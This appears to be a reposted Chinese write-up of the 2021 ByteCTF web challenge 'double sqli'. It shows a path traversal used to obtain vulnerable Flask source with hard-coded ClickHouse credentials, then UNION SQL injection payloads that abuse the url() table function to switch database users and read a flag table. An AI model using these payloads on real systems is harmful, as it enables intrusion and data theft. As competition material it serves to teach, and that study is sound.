IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> 2021ByteCTF初赛web double sqli -> 正文阅读

[Python知识库]2021ByteCTF初赛web double sqli

题目啥都没说

在判断注入点是发现提示

something in files

猜测目录文件里有东西,我们尝试进入files

39.105.175.150:30001/files/

直接这样的话我们只能发现一个图片,经过尝试发现

http://39.105.175.150:30001/files../

这样可以实现路径穿越
经查找发现main.py源码,download下来

app = Flask(__name__)
client = clickhouse_driver.Client(host='127.0.0.1', port='9000', database='default', user='user_02', password='e4649b934ca495991b78')
@app.route('/')
def cttttf():
    id = request.args.get('id',0)
    sql = 'select ByteCTF from hello where 1={} '.format(id)
    try:
        a = client.execute(sql)
    except Exception as e:
        return str(e)
    if len(a) == 0:
        return '<a href="/files/test.jpg">something in files</a>'
    else:
        return str(a)[3:-4]
if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=80)
里面有个user用户和密码,推测需要在哪出要进行用户认证

然后在clickhouse里发现url函数

https://clickhouse.com/docs/zh/sql-reference/table-functions/url/

示例

获取一个表的前3行,该表是从HTTP服务器获取的包含 StringUInt32 类型的列,以CSV格式返回

SELECT * FROM url('http://127.0.0.1:12345/', CSV, 'column1 String, column2 UInt32') LIMIT 3;

URL 的数据插入到表中

CREATE TABLE test_table (column1 String, column2 UInt32) ENGINE=Memory;
INSERT INTO FUNCTION url('http://127.0.0.1:8123/?query=INSERT+INTO+test_table+FORMAT+CSV', 'CSV', 'column1 String, column2 UInt32') VALUES ('http interface', 42);
SELECT * FROM test_table;

结合之前拿到的user身份,我们可以用这个url函数
至于flag在哪个位置,还没找到环境就关了

在已知flag在ctf.flag的情况下我们继续

空格用/**/过滤

id=1 union//all select * FROM url('http://localhost:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=SELECT//*//from//ctf.flag’, CSV, ‘column1 String’) LIMIT 1

含义:查询ctf.flag的所有数据,并且获取其第一行,以CSV格式返回,就会出来flag

但我复现的时候main.py里的是user_02,不知道是啥情况,

user_02

e4649b934ca495991b78

id=1 union//all select * FROM url('http://localhost:8123/?user=user_02%26password=e4649b934ca495991b78%26query=SELECT//*//from//ctf.flag’, CSV, ‘column1 String’) LIMIT 1

看完wp后发现没我想的这麽简单

https://ma4ter.cn/2682.html

首先尝试找注入点发现错报,然后会发现一个名为clickhouse的数据库

然后去clickhouse的官方文档会发现默认数据库system

?id=1%20union%20all%20select%20name%20from%20system.databases

会发现有个名为ctf的数据库,接着我们查看表会发现有个hint的表,于是hint表在ctf库里面
但尝试读取ctf.hint发现没有限权

之后通过目录遍历漏洞在两个.sql文件后发现user_01
在这里插入图片描述

提示user_01有访问ctf库的限权,所以我们才会使用user_01的账户密码,之前复现的时候只找到了user_02的密码属实麻了

之后

就要考虑如何切换user_01的账户,就和之前复现的一样。我们会在文档里找到url函数,借此来进行切换用户

https://clickhouse.com/docs/zh/sql-reference/table-functions/url/

CREATE TABLE test_table (column1 String, column2 UInt32) ENGINE=Memory;
INSERT INTO FUNCTION url('http://127.0.0.1:8123/?query=INSERT+INTO+test_table+FORMAT+CSV', 'CSV', 'column1 String, column2 UInt32') VALUES ('http interface', 42);
SELECT * FROM test_table;

构造最终payload,假设ctf库中有flag,即ctf.flag

?id=1 union/**/all select * FROM url('http://localhost:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=SELECT/**/*/**/from/**/ctf.flag', CSV, 'column1 String')

#目录遍历

#url函数

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2021-11-22 12:17:56  更:2021-11-22 12:18:50 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 0:26:57-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码